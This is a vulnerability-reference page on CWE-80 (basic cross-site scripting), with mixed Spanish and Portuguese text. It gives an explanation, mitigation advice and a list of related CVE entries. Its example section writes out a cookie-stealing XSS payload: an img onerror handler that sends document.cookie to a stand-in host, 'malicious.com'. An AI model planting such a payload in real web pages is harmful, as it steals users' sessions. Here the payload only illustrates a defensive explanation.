Fallos del tipo CWE-80

586 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2025-58412MEDIUMA improper neutralization of script-related html tags in a web page (basic xss) vulnerability in Fortinet FortiADC 8.0.0, FortiADC 7.6.0 thrEPSS 0.2%CVE-2021-47948MEDIUMWordPress GetPaid Plugin 2.4.6 HTML Injection via Help TextEPSS 0.2%CVE-2023-3481MEDIUMXSS in Chrome Lab CrittersEPSS 0.2%CVE-2025-54348MEDIUMA Stored Cross Site Scripting (XSS) vulnerability was found in the Application Server of Desktop Alert PingAlert version 6.1.0.11 to 6.1.1.2EPSS 0.2%CVE-2026-1282LOWImproper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) in GitLabEPSS 0.2%CVE-2025-14289MEDIUMIBM webMethods Integration Server is vulnerable to HTML injectionEPSS 0.2%CVE-2026-39712MEDIUMWordPress tagDiv Composer plugin <= 5.4.3 - Arbitrary Shortcode Execution vulnerabilityEPSS 0.2%CVE-2025-36121MEDIUMHTML Injection Vulnerability in a Specific URL Endpoint of the IBM OpenPages ApplicationEPSS 0.2%CVE-2026-45346MEDIUMOpen WebUI: Stored Cross-Site Scripting in SVG RendererEPSS 0.2%CVE-2026-5218MEDIUMHTML Injection in Softtr's E-Commerce PackEPSS 0.2%CVE-2026-32891CRITICALAnchorr Privilege Escalation: Jellyseerr User → Anchorr Admin via Stored XSSEPSS 0.2%CVE-2026-26460MEDIUMA HTML Injection vulnerability exists in the Dashboard module of Vtiger CRM 8.4.0. The application fails to properly neutralize user-supplieEPSS 0.2%CVE-2025-64187MEDIUMOctoPrint is vulnerable to XSS through Action Command Notifications and PromptsEPSS 0.2%CVE-2026-9646MEDIUMScadaBR Unauthenticated Reflected Cross-Site ScriptingEPSS 0.2%CVE-2026-39841MEDIUMStored XSS through list fields on Cargo's page values and Special:CargoTablesEPSS 0.2%CVE-2025-8386HIGHAVEVA Application Server IDE Basic Cross-site ScriptingEPSS 0.2%CVE-2025-52563MEDIUMChamilo: Reflected XSS via page parameterEPSS 0.2%CVE-2026-34718MEDIUMZammad improperly neutralizes of script-related HTML tags in ticket articlesEPSS 0.1%CVE-2026-29106MEDIUMSuiteCRM has blind XSS in return_id parameterEPSS 0.1%CVE-2026-44259MEDIUMefw4.X: Stored XSS via previewServletEPSS 0.1%